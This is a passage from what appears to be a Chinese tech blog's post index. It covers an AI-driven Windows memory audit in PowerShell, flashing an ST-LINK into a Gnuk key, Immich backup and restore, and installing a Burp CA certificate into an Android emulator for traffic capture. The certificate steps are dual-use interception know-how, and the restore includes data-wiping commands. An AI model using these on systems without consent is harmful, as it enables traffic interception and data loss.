映射、共享堆等），多个进程共享同一块内存会被重复计算。例如 ntdll.dll 被每个进程映射，加总会虚高 1-2 GB。\nAI 需要主动改用 PrivateMemorySize64，它是进程独占的、不被共享的内存，加总后更接近真实占用。\nGet-Process | Group-Object Name | Sort-Object {($_.Group | Measure-Object PrivateMemorySize64 -Sum).Sum} -Descending | ForEach-Object { $sum = [math]::Round(($_.Group | Measure-Object PrivateMemorySize64 -Sum).Sum/1MB, 1) \u0026#34;{0,-40} x{1,-3} {2,10:N1} MB\u0026#34; -f $_.Name, $_.Count, $sum } 加总后 AI 会发现：和任务管理器还是差了好几 GB——这推动它进入第二步。\n第二步：采集内核内存（关键突破） 差距来自内核态。Windows 的物理内存分两大块：\n用户态：进程的私有内存（第一步采到的） 内核态：驱动、缓存、页表等，任务管理器进程列表里完全看不到 AI 需要用性能计数器采集内核内存的四个组成部分：\n# 非分页池：驱动代码和不可换页的数据结构，必须常驻物理内存 Get-Counter \u0026#39;\\Memory\\Pool Nonpaged Bytes\u0026#39; # 分页池：注册表数据、句柄表、文件对象，可换出到页面文件 Get-Counter \u0026#39;\\Memory\\Pool Paged Bytes\u0026#39; # 文件缓存(Standby)：最近读过的文件缓存，内存紧张时自动释放 Get-Counter \u0026#39;\\Memory\\Standby Cache Normal Priority Bytes\u0026#39; Get-Counter \u0026#39;\\Memory\\Standby Cache Core Bytes\u0026#39; # 修改页列表：已修改但尚未写回磁盘的脏页 Get-Counter \u0026#39;\\Memory\\Modified Page List Bytes\u0026#39; 四个内核内存项的含义，AI 需要理解清楚才能正确归类：\n内核内存 能否释放 典型占用 主要内容 非分页池 ❌ 不能 200-800 MB 内核驱动的代码段、设备 I/O 缓冲区、中断 DPC 数据。在 DISPATCH_LEVEL 及以上运行的代码不能缺页，必须常驻 分页池 ⚠️ 部分可换出 400-800 MB 注册表 hive 数据、NTFS 元数据、进程/线程对象、文件对象、同步事件。进程越多句柄越多，这块越大 文件缓存 ✅ 自动释放 500-3000 MB Windows 预加载的文件数据，Superfetch 主动填充。内存紧张时优先让出 修改页 ✅ 写盘后释放 50-200 MB 待刷盘的脏数据 提示：非分页池超过 500 MB，大概率是装了太多第三方内核驱动（虚拟机软件、网络加速器、抓包工具等），第五步会展开排查。\n第三步：计算加总并验证误差（量化验证） AI 把前两步的数据加起来，和任务管理器对比——这就是提示词里\u0026quot;差距 1GB 以内\u0026quot;的验证环节：\n进程私有内存合计 + 内核非分页池 + 内核分页池 + 修改页列表 = 图表加总 对比基准（任务管理器\u0026quot;使用中\u0026quot;的算法）：\n$os = Get-CimInstance Win32_OperatingSystem $usedMB = [math]::Round(($os.TotalVisibleMemorySize - $os.FreePhysicalMemory)/1KB, 0) 验证标准：差距 \u0026lt; 1 GB 即合格。 剩余差距来自内核栈、系统 PTE、驱动镜像段等无法单独计量的杂项内核开销，属于正常现象。\nAI 容易踩的坑：文件缓存(Standby) 不计入加总，因为任务管理器的\u0026quot;使用中\u0026quot;不含 Standby（它归在\u0026quot;已缓存\u0026quot;里）。如果 AI 把 Standby 加进去，差距会虚大 1-3 GB。\n第四步：归类所有进程（禁止笼统描述） 这是提示词约束最严格的一步，也是 AI 最有价值的环节。\nAI 的执行逻辑：\n拿到所有进程列表（按名称分组） 对每个进程组，查证其精确作用： 进程路径：(Get-Process -Id $pid).Path — 看是哪个软件的 命令行：Get-CimInstance Win32_Process -Filter \u0026quot;ProcessId=$pid\u0026quot; | Select CommandLine 托管的服务（svchost）：Get-CimInstance Win32_Service | Group-Object ProcessId 模块列表：(Get-Process -Id $pid).Modules | Select ModuleName — 看加载了哪些 DLL 按功能域分组（而非按内存大小），每个组标注精确作用 输出图表 为什么这一步 AI 比人强：300 多个进程挨个查证，人查到 30 个就会失去耐心开始笼统归类，AI 能不厌其烦地全部查完。但要靠提示词第三条约束逼它——否则 AI 也会学人偷懒。\n第五步：拆解 svchost 和内核驱动 这是第四步的延伸。提示词\u0026quot;不允许笼统描述\u0026quot;会逼迫 AI 把 svchost 这种\u0026quot;一个进程托管一堆服务\u0026quot;的笼统项展开，把\u0026quot;内核-非分页池\u0026quot;这种\u0026quot;一堆驱动加总\u0026quot;的笼统项也展开。\nsvchost 拆解 Windows 有 90+ 个 svchost.exe 进程，每个托管多个服务。直接看进程列表只会看到一堆 svchost，不知道各自在干什么。\nGet-CimInstance Win32_Service | Where-Object { $_.State -eq \u0026#39;Running\u0026#39; } | Group-Object ProcessId | ForEach-Object { $pid = [int]$_.Name $proc = Get-Process -Id $pid -ErrorAction SilentlyContinue if ($proc -and $proc.Name -eq \u0026#39;svchost\u0026#39;) { $priv = [math]::Round($proc.PrivateMemorySize64/1MB, 1) $svcs = ($_.Group | ForEach-Object { $_.Name }) -join \u0026#39;, \u0026#39; \u0026#34;PID:{0} Priv:{1}MB [{2}]\u0026#34; -f $pid, $priv, $svcs } } AI 执行后能看到每个 svchost 进程托管了哪些服务、各自占多少内存。比如某个 svchost 托管了 AppXSvc(UWP 应用部署) 占 60 MB，另一个托管 wuauserv(Windows 更新) 占 23 MB——这就把\u0026quot;578 MB 的 svchost\u0026quot;这个笼统项拆成了 90 个精确项。\n内核驱动拆解 非分页池偏高（\u0026gt;500 MB）时，AI 会重点排查驱动：\nGet-CimInstance Win32_SystemDriver | Where-Object { $_.State -eq \u0026#39;Running\u0026#39; } | Sort-Object Name | ForEach-Object { \u0026#34;{0,-30} {1}\u0026#34; -f $_.Name, $_.DisplayName } 关键认知：驱动文件大小 ≠ 非分页池占用。驱动文件磁盘大小可能只有 60 MB，但运行时分配的数据结构、NDIS 缓冲池、连接跟踪表等远大于代码本身，非分页池可能达到 700+ MB。\nAI 需要把 200+ 个驱动按功能组手动归类，重点关注以下\u0026quot;可卸载\u0026quot;类别：\n驱动类别 典型问题 虚拟机软件 多套虚拟机软件同时装，每套十几个内核驱动 网络抓包 新旧抓包驱动重复安装 网络加速器 多个加速器驱动同时驻留，留一个即可 流量监控 软件卸载了但驱动还在内核里 虚拟音频 多个软件各自创建虚拟声卡驱动 远程控制 多个远程工具的虚拟设备驱动 第六步：生成完整图表 AI 把前面采集的所有数据汇总成一张图表，按内存从大到小排列，每个项目标注精确作用。\n图表结构：\n[纵向条形图，Y轴为项目名称，X轴为内存MB] 项目1: 进程组A (x10) ████ 2270 MB —— 精确作用描述 项目2: 进程组B (x9) ███ 1341 MB —— 精确作用描述 项目3: 内核-非分页池 ███ 711 MB —— 233个驱动驻留 项目4: 进程组C (x14) ██ 410 MB —— 精确作用描述 ... 项目N: 内核-修改页列表 ░ 96 MB —— 待写盘脏页 颜色分类（帮助快速识别可清理项）：\n🔴 红色：膨胀软件/手机互联（可清理） 🟠 橙色：驱动/硬件（部分可优化） 🟢 绿色：用户工具（保留） 🔵 蓝色：Windows 系统（基本保留） ⚪ 灰色：内核内存（不可见，重点排查对象） 方法论验证：AI 实测结果 按上述步骤让 AI 执行，实测结果：\n口径 数值 进程私有内存合计 10385 MB + 内核非分页池 711 MB + 内核分页池 653 MB + 修改页列表 96 MB = 图表加总 11845 MB 任务管理器\u0026quot;使用中\u0026rdquo; 11310 MB 差距 535 MB（\u0026lt; 1 GB ✓） 差距 535 MB 来自内核栈、系统 PTE、驱动镜像段等无法单独计量的杂项，属于正常范围。提示词的量化约束达成。\nAI 帮你揪出的常见\u0026quot;隐藏\u0026quot;内存黑洞 按这套方法驱动 AI 排查，通常会找到以下人工很难发现的隐藏消耗：\n非分页池偏高：正常 200-400 MB，装了大量第三方驱动可能到 700-800 MB。AI 会逐个查清驱动作用，标出哪些可卸载。 小程序/浏览器容器进程：每个小程序/视频号是独立 Chromium 进程，10 个进程吃 900 MB 很常见。AI 会把这些归到一组并指出\u0026quot;你可能没意识到的内存大户\u0026quot;。 显卡套件自动更新：重启后自动拉起 App + Overlay + Container，从 177 MB 暴涨到 1000+ MB。AI 会标出\u0026quot;重启后异常增长的项\u0026quot;。 手机互联全家桶：7-12 个进程偷偷自启，注册表自启删了它有自己的拉起机制。AI 会标出\u0026quot;注册表自启已禁用但仍在运行\u0026quot;的异常项。 Windows 搜索索引：如果已装 Everything，Windows 自带的搜索索引（10+ 个进程）纯浪费 120+ MB。AI 会对比是否有功能重复的工具。 触摸键盘：非触摸屏设备上的 TabTip / TextInputHost 占 80 MB，有第三方输入法时可关。AI 会结合设备类型判断是否必要。 这些项的共同特点：单个不大，但加起来 1-2 GB，且都藏在任务管理器进程列表的\u0026quot;角落\u0026quot;里，人工一扫而过。AI 的优势就是不会漏。\n提示词复用建议 这条提示词是可复用的。只要你的 AI 助手能执行 PowerShell 命令、读取文件、生成可视化图表（如 WorkBuddy），就可以直接用。\n使用建议：\n原样使用：不要删减三个约束中的任何一个。每个约束都堵死了一条 AI 偷懒的退路，删了就会退化成\u0026quot;Top 20 进程表格\u0026quot;。 可追加上下文：在提示词前补充你的场景，比如\u0026quot;我要开 Minecraft 服务器，内存不够\u0026quot;，AI 会针对性地判断哪些进程对你不重要。 可追问展开：如果 AI 给出的图表里某个组还是太笼统（比如\u0026quot;内核-非分页池 711 MB\u0026quot;），可以追加一句\u0026quot;把非分页池按驱动组展开，标注每个驱动的作用\u0026quot;，AI 会继续往下拆。 可要求生成清理脚本：排查完追问\u0026quot;给我一个 PowerShell 脚本，禁用/改手动这些可清理项\u0026quot;，AI 会生成可执行脚本，你用管理员权限运行即可。 可要求验证：执行清理后重启，再发一次同样的提示词，AI 会重新扫描并对比前后差异，验证清理效果。 排查命令速查（供 AI 或手动使用） # 1. 系统内存概况（任务管理器\u0026#34;使用中\u0026#34;算法） $os = Get-CimInstance Win32_OperatingSystem \u0026#34;Used: $([math]::Round(($os.TotalVisibleMemorySize - $os.FreePhysicalMemory)/1KB, 0)) MB\u0026#34; # 2. 进程私有内存分组（避免共享内存重复计算） Get-Process | Group-Object Name | Sort-Object {($_.Group | Measure-Object PrivateMemorySize64 -Sum).Sum} -Descending | Select-Object -First 20 | ForEach-Object { \u0026#34;{0} x{1} {2:N1}MB\u0026#34; -f $_.Name, $_.Count, (($_.Group|Measure-Object PrivateMemorySize64 -Sum).Sum/1MB) } # 3. 内核内存（任务管理器进程列表里看不到的部分） Get-Counter \u0026#39;\\Memory\\Pool Nonpaged Bytes\u0026#39;,\u0026#39;\\Memory\\Pool Paged Bytes\u0026#39;,\u0026#39;\\Memory\\Modified Page List Bytes\u0026#39; # 4. svchost 托管服务（展开\u0026#34;笼统的 svchost\u0026#34;） Get-CimInstance Win32_Service | Where-Object {$_.State -eq \u0026#39;Running\u0026#39;} | Group-Object ProcessId # 5. 运行中的内核驱动（展开\u0026#34;笼统的非分页池\u0026#34;） Get-CimInstance Win32_SystemDriver | Where-Object {$_.State -eq \u0026#39;Running\u0026#39;} | Select Name, DisplayName # 6. 进程详情（查证作用时用） Get-CimInstance Win32_Process -Filter \u0026#34;ProcessId=$pid\u0026#34; | Select Name, Path, CommandLine 总结：AI + 好提示词 = 把枯燥的排查自动化 这套方法的核心不是某条 PowerShell 命令，而是用一条精心设计的提示词驱动 AI 完成全量、深度、不偷懒的排查：\n用 AI 比用人强：300+ 进程和 200+ 驱动挨个查证，人会失去耐心，AI 不会 关键在提示词的三个约束：差距量化、不排除任何项、禁止笼统描述——缺一不可 量化验证闭环：图表加总与任务管理器差距 \u0026lt; 1 GB 才算排查完成，AI 必须自我证明 可复用可追问：同一条提示词适用于任何 Windows 机器，可追问展开、生成脚本、验证效果 记住那条核心提示词，它不是花架子——三个约束共同保证了 AI 既不能跳过难归类项，也不能用笼统描述糊弄，更不能在中途收尾。这正是让 AI 产出深度排查结果的关键。\n下次你的电脑内存又莫名其妙满了，别再手动翻任务管理器了——把那条提示词丢给 AI（如 WorkBuddy），让它帮你把每一 MB 内存的去向找出来。\n本文基于 Windows 11 实测整理，适用于 Windows 10/11 系统内存排查。AI 工具以 WorkBuddy 为例，任何能执行系统命令、读取文件、生成可视化图表的 AI 助手均可适用。\n","permalink":"https://t1mmoc.github.io/posts/21126386/","summary":"\u003ch1 id=\"如何让-ai-找出偷偷藏在系统中偷吃内存的元凶\"\u003e如何让 AI 找出偷偷藏在系统中偷吃内存的\u0026quot;元凶\u0026quot;\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e当你打开任务管理器，发现\u0026quot;使用中\u0026quot;内存比所有进程加起来多出好几个 GB，却找不到去哪了——这篇文章就是写给你的。更关键的是：\u003cstrong\u003e这种枯燥到让人抓狂的\u0026quot;挨个查每个进程是干什么的\u0026quot;活儿，正好是 AI 的强项。\u003c/strong\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"背景一个让人抓狂的痛点\"\u003e背景：一个让人抓狂的痛点\u003c/h2\u003e\n\u003cp\u003e排查 Windows 内存占用时，几乎所有人都会遇到这个场景：\u003c/p\u003e\n\u003cp\u003e任务管理器显示\u0026quot;使用中 13 GB\u0026quot;，但把所有进程的内存加起来，只有 9 GB 左右。\u003cstrong\u003e差了将近 4 GB，去哪了？\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e更让人崩溃的是：\u003c/p\u003e","title":"【AIGC】如何让AI找出偷偷藏在系统中偷吃内存的元凶"},{"content":"前言 因为模拟器发生了一些奇怪的事情（关不掉代理了），所以重新来一遍。\nCA证书 http://burp\n不多说\nder转.0证书 # 步骤1: 将DER格式转换为PEM格式 openssl x509 -inform DER -in cacert.der -out cacert.pem # 步骤2: 计算证书的旧版subject hash（Android系统使用） openssl x509 -inform PEM -subject_hash_old -in cacert.pem | head -1 # 输出示例: 9a5ba575 # 步骤3: 将PEM证书重命名为 \u0026lt;hash\u0026gt;.0 格式 mv cacert.pem 9a5ba575.0 安装证书 adb root adb shell mount -o rw,remount /system adb push 9a5ba575.0 /system/etc/security/cacerts/ adb shell chmod 644 /system/etc/security/cacerts/9a5ba575.0 如果你也和我一样push了以后找不到，那就在shell里面\nmount -o rw,remount /system cp /storage/emulated/0/9a5ba575.0 /etc/security/cacerts/ ls /etc/security/cacerts/9a5ba575.0 chmod 644 /etc/security/cacerts/9a5ba575.0 记得root权限\n设置代理 adb.exe shell settings put global http_proxy 10.0.2.2:8080 清除代理：\nadb.exe shell settings delete global http_proxy ","permalink":"https://t1mmoc.github.io/posts/19618653/","summary":"\u003ch1 id=\"前言\"\u003e前言\u003c/h1\u003e\n\u003cp\u003e因为模拟器发生了一些奇怪的事情（关不掉代理了），所以重新来一遍。\u003c/p\u003e\n\u003ch1 id=\"ca证书\"\u003eCA证书\u003c/h1\u003e\n\u003cp\u003e\u003ccode\u003ehttp://burp\u003c/code\u003e\u003cbr\u003e\n不多说\u003c/p\u003e\n\u003ch2 id=\"der转0证书\"\u003eder转.0证书\u003c/h2\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e# 步骤1: 将DER格式转换为PEM格式\nopenssl x509 -inform DER -in cacert.der -out cacert.pem\n\n# 步骤2: 计算证书的旧版subject hash（Android系统使用）\nopenssl x509 -inform PEM -subject_hash_old -in cacert.pem | head -1\n# 输出示例: 9a5ba575\n\n# 步骤3: 将PEM证书重命名为 \u0026lt;hash\u0026gt;.0 格式\nmv cacert.pem 9a5ba575.0\n\u003c/code\u003e\u003c/pre\u003e\u003ch1 id=\"安装证书\"\u003e安装证书\u003c/h1\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eadb root\nadb shell mount -o rw,remount /system\nadb push 9a5ba575.0 /system/etc/security/cacerts/\nadb shell chmod 644 /system/etc/security/cacerts/9a5ba575.0\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e如果你也和我一样push了以后找不到，那就在shell里面\u003c/p\u003e","title":"【模拟器抓包】再来一次，完整版"},{"content":"前言 Gnuk做出来了，但是，用处呢？\n事实是，Gnuk、PKCS#11、FIDO，三家完全不互通\n而且opengpg的市面上使用率实在是低。\n致谢 - 主要文章：\nhttps://www.cnblogs.com/tibrella/p/17816505.html#fn2\n看到的第一篇文章，也是兴趣的起源，但可惜我没有也不打算为了这个弄一个arch https://tccmu.com/2024/08/05/gnuk/#Gnuk重新写入\nubuntu上进行的文章，流程非常、非常舒适，每一步我都能看懂，大赞。\n（小声：除了./configure \u0026ndash;vidpid=234b:0000 以外，但我丢给ai问了一下，似乎不是很重要的部分，跳过。） https://nx3d.org/gnuk-st-link-v2/\n重刷的部分，感谢博主提供的短接方法。 致谢 - 其他文章：\nhttps://docs.nitrokey.com/zh_CN/nitrokeys/start/setting-kdf-do\n我当时kdf出现问题，查阅这篇文章后才知道什么是kdf，然后毫不犹豫的关闭了kdf功能。 成本与需求 一台windows电脑 vmware + 一台debian虚拟机，我这里使用kali（可选，或者可以直接用我编译好的固件，当然，最好还是自己编译，博主不对此负责。） 网络环境，windows和kali都要下载东西。 耐心 6.40 + 9.80 + 7.70 = 23.9元 （ 6.40的电线建议换成别的，用第二篇引用文章上提到的杜邦线最好，这个面包板电线贼软，一掰就弯，但还好不需要太用力） 一把螺丝刀，一字的，ST-LINK的外壳贼硬。\n【时间：2025-12-17。仅代表这段时间的商品价格】 其实这里9.8的进口芯片完全可以用国产芯片，我目前没发现任何区别，但毕竟是第一次买，也是第一次刷，还是第一次接触这类东西，buff叠满了，所以看到推荐进口芯片想着多几块钱多一份保险吧。\n（仅代表我自己的情况，两个都没踩坑）\n原理 用9.8的那个ST-LINK把7.7的ST-LINK刷成Gnuk，就是可惜了我刚买的ST-LINK,但是八块钱买不到别的，能买到快乐~折腾的快乐。\n步骤 - kali 以下命令最好一条一条执行，慢慢看输出。不然可能报错了都不知道。\n# 下载必要依赖，会用大概500+MB sudo apt-get install gcc-arm-none-eabi picolibc-arm-none-eabi make git clone git://git.gniibe.org/gnuk/gnuk.git cd gnuk/ git submodule update --init cd src/ # ----- 确认按钮部分，详见主要文章2，我不需要，所以注释了 ----- # curl -O https://techie-s.work/shares/gnuk/0001-add-pa5-as-switch-pin-for-st-dongle.patch # patch ../chopstx/contrib/ackbtn-stm32f103.c \u0026lt; ./0001-add-pa5-as-switch-pin-for-st-dongle.patch # ----- 确认按钮部分 ----- # 最好设置为optional，我这里windows上的Kleopatra对kdf适配存在问题。 # 因此不能使用kdf，有需要的可以自己注释掉。 export kdf_do=optional # recommended(?) for v1.2.19 # 这里开启了factory reset功能，不需要的可以自己注释掉。 ./configure --enable-factory-reset --target=ST_DONGLE --vidpid=234b:0000 --enable-certdo make build/gnuk-vidpid.bin 完事后用vmtools把 gnuk/src/build/gnuk-vidpid.bin 复制到windows里备用。\n不希望编译固件/懒得弄虚拟机的可以使用我编译好的固件，不保证任何可用性，自己斟酌。\n因为附上了编译好的固件，因此本教程可以仅通过windows完成。\n通过网盘分享的文件：gnuk-vidpid.bin 链接: https://pan.baidu.com/s/1Oe6S1jimOLDd-9hRH8FIIw?pwd=fdxv 提取码: fdxv 步骤 - windows 实际上我看到的某一篇文章是用windows执行后续流程了，但是我现在已经刷好了，重新找这篇文章的时候已经找不到了，不好意思那位博主~~~~\n下载 下载软件：（可以直接搜opensc，因为读者看到这篇文章的时候可能已经除了新版本）\nhttps://altushost-swe.dl.sourceforge.net/project/opensc/OpenSC/opensc-0.15.0/opensc-0.15.0-win32.msi?viasf=1\n下载软件：nc（那把瑞士军刀）或者任何能够telnet的工具\n配置opensc openocd 在 gunk\\OpenOCD-20251211-0.12.0\\bin 下新建openocd.cfg\n内容如下：\ntelnet port 4444 source [find interface/stlink.cfg] source [find target/stm32f1x.cfg] set WORKAREASIZE 0x20000 警告：由于opensc更新，我这里的cfg和参考文章中略有不同\n因此建议固定版本，或者自己稍微变通一下都行。opensc-0.15.0\n固件 移动从linux拿到或者从网盘中下载好的gnuk-vidpid.bin到本目录下。\n运行前准备 正常安装，然后 cmd 开两个窗口准备，一个准备openocd，一个准备 nc 127.0.0.1 4444\n图片中openocd显示的是未找到st-link，这很正常。因为我没插入，但能运行就可以了。\n硬件操作 \u0026mdash;\u0026ndash; （这部分与本教程无关） \u0026mdash;\u0026ndash;\n听说这里需要安装stlink的驱动，但我直接跳过了，我也不知道原因，可能是因为我之前用 STM32CubeIDE 1.19.0 搞了第一个stm32程序的原因吧\n就是这么简单的一个小程序（笑）\n所以我不用安装驱动了，不知读者需不需要。\n\u0026mdash;\u0026ndash; （上面那部分与本教程无关） \u0026mdash;\u0026ndash;\n掏出螺丝刀，或者任何一个能翘东西的铁片\n翘的这个是7.7的，要做成gnuk的这一个st-link。\n好了，然后就没有螺丝刀什么事了。\n【我的】这个st-link从左到右分别是 GND、CLK、DIO、3.3V\n警告：不同st-link可能存在差异，我买的两个一致。如果读者看到的插口顺序和我的不一样，建议自己判断后决定如何行动。\n掏出另一个ST-link。\n连接远离缺口的部分，黑色、棕色、黄色、红色分别对应： CLK、DIO、GND、3.3V\nGND和3.3V可以直接接后面。不记得线序可以临时套上壳子看看位置。\n（悄悄说）我在这里接反了，一定要确认缺口的位置是正面。当然，要是你买的st-link和我的不同那就得自己确定了。\n此时可以将完整的那个ST-LINK插入电脑。\n6.40的电线在本教程中唯一的作用如上图所示，因此如果有什么，回形针之类的，可以代替。\n母对母杜邦线是st-link送的，一家送4根，两家一共送了8根。\n黑色连CLK，棕色连DIO。完事。\n接下来请用手保持这个接触，不要断开。\n这期间会非常折磨。但实测没有那么难。\n运行openocd，此处我会附上几个错误案例在折叠内，如果你在这一步遇到了错误，可以根据这些来判断一下。\n错误示例1\n未连接到st-link，检查你的usb连通性。\n错误示例2\n未连接到【被刷的那个st-link，即gnuk】，检查你的线序是否正确、手指是否按稳\n错误示例3\n你是不是以前刷过了这个st-link？\n我这里是因为已经刷好了gnuk，因此打开会提示这个东西。\n如果刷成了gnuk，想重新刷，请参照 主要文章3\n我的这个芯片短接的那两引脚分别是这两个，中间塞一铁片就可以了。\n找到圆点，逆时针，第七、八。\n和文章中不一样的是，文章中表示led会低速闪烁，我这里短接后led直接熄灭了，我一度害怕是不是烧了，但后续可以刷进去。\n因为我已经刷过gnuk了，所以这里就不重刷一遍了，“借用”一下文章中的图，感谢原作者！\n此时打开nc那边，回车连接openocd。\n然后输入这些命令\nreset halt stm32f1x unlock 0 reset halt flash write_bank 0 ./gnuk-vidpid.bin 0 stm32f1x lock 0 reset halt 这张运行截图来自 https://tccmu.com/2024/08/05/gnuk/#固件编译\n重要：如果运行期间突然出现很长一串的东西，那很有可能是接触不良。参照给出的运行截图作为标准。\n然后两个窗口ctrl+C断开连接，这个时候就可以松手了。\n然后就可以慢悠悠的弹出st-link，拔出来，这下，完成。\n恭喜：你已经拥有了第一个gnuk！\n配置工作 其他博客基本都是在linux上进行的gpg配置，我这里讲一下windows如何配置吧\n大佬轻喷。\n插入新做好的gnuk。\n等待这个转一万圈，之前试过关闭连接网络，还是转圈，没办法，不管了。\n我的建议是先创建key，再将key导入到gnuk中。这样有更完整而且更不容易出错的操作选项。\n另外，我额外创建密钥，而非在主密钥下直接创建子密钥，是因为使用kleopatra的时候，似乎会倾向于优先使用我usb里面的密钥，这会导致我在不插入gnuk的时候无法使用我的主密钥。挺麻烦的，所以我倾向于把这个gnuk使用的密钥独立开来。\n创建好后，额外添加两种子密钥。\n右键，把三个密钥逐个迁移到gnuk中。\n如果像这样，没有亮起，说明没插好。我已经迁移过了就不演示了。\n输入的Admin Pin在出厂时是12345678，User Pin是123456\n注意三次输错会锁卡，要么重刷要么factory reset要么PUK解锁\n如果出现card error，检查kdf是否正确设置，我直接关掉了这个功能（前面的optional），所以不担心这个问题。\n第一次会提示是否备份一份密钥，避免gnuk丢失导致无法解密，自己斟酌。\n第二次会提示是否删除本机上的密钥以确保密钥只存在于gnuk中，自己斟酌。\n打开智能卡页面\n这里可以修改两个PIN，注意输入原PIN的时候看清楚他要输入哪个PIN。\n这里会提示每个PIN的剩余可尝试次数，为0的时候会锁卡。\n如果输错了可以通过重新输入正确的PIN恢复到3次\n成果与结语 说实话折腾这个对我没啥用，我又不是什么银行行长手握那种机密，然后密钥得放在地下金库层层保护的那种。\n但是帅啊，很有科幻片的感觉说是。\n（而且便宜）\n还有，这个视频我用gif导出了三四次每次都超10MB限制，webp是好东西，感谢webp\n","permalink":"https://t1mmoc.github.io/posts/19362681/","summary":"\u003ch1 id=\"前言\"\u003e前言\u003c/h1\u003e\n\u003cp\u003eGnuk做出来了，但是，用处呢？\u003cbr\u003e\n事实是，Gnuk、PKCS#11、FIDO，三家完全不互通\u003cbr\u003e\n而且opengpg的市面上使用率实在是低。\u003c/p\u003e\n\u003cp\u003e致谢 - 主要文章：\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003ca href=\"https://www.cnblogs.com/tibrella/p/17816505.html#fn2\"\u003ehttps://www.cnblogs.com/tibrella/p/17816505.html#fn2\u003c/a\u003e\u003cbr\u003e\n看到的第一篇文章，也是兴趣的起源，但可惜我没有也不打算为了这个弄一个arch\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tccmu.com/2024/08/05/gnuk/#Gnuk%E9%87%8D%E6%96%B0%E5%86%99%E5%85%A5\"\u003ehttps://tccmu.com/2024/08/05/gnuk/#Gnuk重新写入\u003c/a\u003e\u003cbr\u003e\nubuntu上进行的文章，流程非常、非常舒适，每一步我都能看懂，大赞。\u003cbr\u003e\n（小声：除了./configure \u0026ndash;vidpid=234b:0000 以外，但我丢给ai问了一下，似乎不是很重要的部分，跳过。）\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://nx3d.org/gnuk-st-link-v2/\"\u003ehttps://nx3d.org/gnuk-st-link-v2/\u003c/a\u003e\u003cbr\u003e\n重刷的部分，感谢博主提供的短接方法。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e致谢 - 其他文章：\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003ca href=\"https://docs.nitrokey.com/zh_CN/nitrokeys/start/setting-kdf-do\"\u003ehttps://docs.nitrokey.com/zh_CN/nitrokeys/start/setting-kdf-do\u003c/a\u003e\u003cbr\u003e\n我当时kdf出现问题，查阅这篇文章后才知道什么是kdf，然后毫不犹豫的关闭了kdf功能。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch1 id=\"成本与需求\"\u003e成本与需求\u003c/h1\u003e\n\u003col\u003e\n\u003cli\u003e一台windows电脑\u003c/li\u003e\n\u003cli\u003evmware + 一台debian虚拟机，我这里使用kali（可选，或者可以直接用我编译好的固件，当然，最好还是自己编译，博主不对此负责。）\u003c/li\u003e\n\u003cli\u003e网络环境，windows和kali都要下载东西。\u003c/li\u003e\n\u003cli\u003e耐心\u003c/li\u003e\n\u003cli\u003e6.40 + 9.80 + 7.70 = 23.9元 （ 6.40的电线建议换成别的，用第二篇引用文章上提到的杜邦线最好，这个面包板电线贼软，一掰就弯，但还好不需要太用力）\u003c/li\u003e\n\u003cli\u003e一把螺丝刀，一字的，ST-LINK的外壳贼硬。\u003cbr\u003e\n\u003cimg alt=\"PixPin_2025-12-17_14-45-18\" loading=\"lazy\" src=\"/images/19362681/3336551-20251217144526823-1002822818.jpg\"\u003e\u003cbr\u003e\n\u003cimg alt=\"PixPin_2025-12-17_14-45-41\" loading=\"lazy\" src=\"/images/19362681/3336551-20251217144546493-1803961584.jpg\"\u003e\u003cbr\u003e\n\u003cimg alt=\"PixPin_2025-12-17_14-45-51\" loading=\"lazy\" src=\"/images/19362681/3336551-20251217144555398-172657880.jpg\"\u003e\u003cbr\u003e\n【时间：2025-12-17。仅代表这段时间的商品价格】\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e其实这里9.8的进口芯片完全可以用国产芯片，我目前没发现任何区别，但毕竟是第一次买，也是第一次刷，还是第一次接触这类东西，buff叠满了，所以看到推荐进口芯片想着多几块钱多一份保险吧。\u003cbr\u003e\n（仅代表我自己的情况，两个都没踩坑）\u003c/p\u003e","title":"ST-LINK转gnuk！年轻人的第一款低成本gunk"},{"content":"备份篇 可选，备份镜像，大小1GB，但是docker pull一万年，所以最好备份一下。 # 创建镜像导出脚本 cat \u0026gt; export-images.sh \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; #!/bin/bash IMAGES=( \u0026#34;ghcr.io/immich-app/immich-server:v2\u0026#34; \u0026#34;ghcr.io/immich-app/immich-machine-learning:v2\u0026#34; \u0026#34;docker.io/valkey/valkey:8@sha256:81db6d39e1bba3b3ff32bd3a1b19a6d69690f94a3954ec131277b9a26b95b3aa\u0026#34; \u0026#34;ghcr.io/immich-app/postgres:14-vectorchord0.4.3-pgvectors0.2.0@sha256:bcf63357191b76a916ae5eb93464d65c07511da41e3bf7a8416db519b40b1c23\u0026#34; ) # echo \u0026#34;正在拉取最新镜像...\u0026#34; # docker compose pull echo \u0026#34;正在导出镜像（约需几分钟）...\u0026#34; docker save \u0026#34;${IMAGES[@]}\u0026#34; | gzip \u0026gt; immich-images.tar.gz echo \u0026#34;镜像导出完成！大小：\u0026#34; ls -lh immich-images.tar.gz EOF # 运行脚本 chmod +x export-images.sh ./export-images.sh 备份数据库： # Replace \u0026lt;DB_USERNAME\u0026gt; with the database username - usually postgres unless you have changed it. docker exec -t immich_postgres pg_dumpall --clean --if-exists --username=\u0026lt;DB_USERNAME\u0026gt; | gzip \u0026gt; \u0026#34;/path/to/backup/dump.sql.gz\u0026#34; 备份另外两个文件夹。这里跳过 恢复篇 恢复镜像 cd ~/imm # 导入镜像（约需几分钟） docker load -i /tmp/immich-images.tar.gz # 验证导入 docker images | grep immich 恢复两个文件夹 恢复数据库 docker compose down -v # CAUTION! Deletes all Immich data to start from scratch ## Uncomment the next line and replace DB_DATA_LOCATION with your Postgres path to permanently reset the Postgres database # rm -rf DB_DATA_LOCATION # CAUTION! Deletes all Immich data to start from scratch docker compose pull # Update to latest version of Immich (if desired) docker compose create # Create Docker containers for Immich apps without running them docker start immich_postgres # Start Postgres server sleep 10 # Wait for 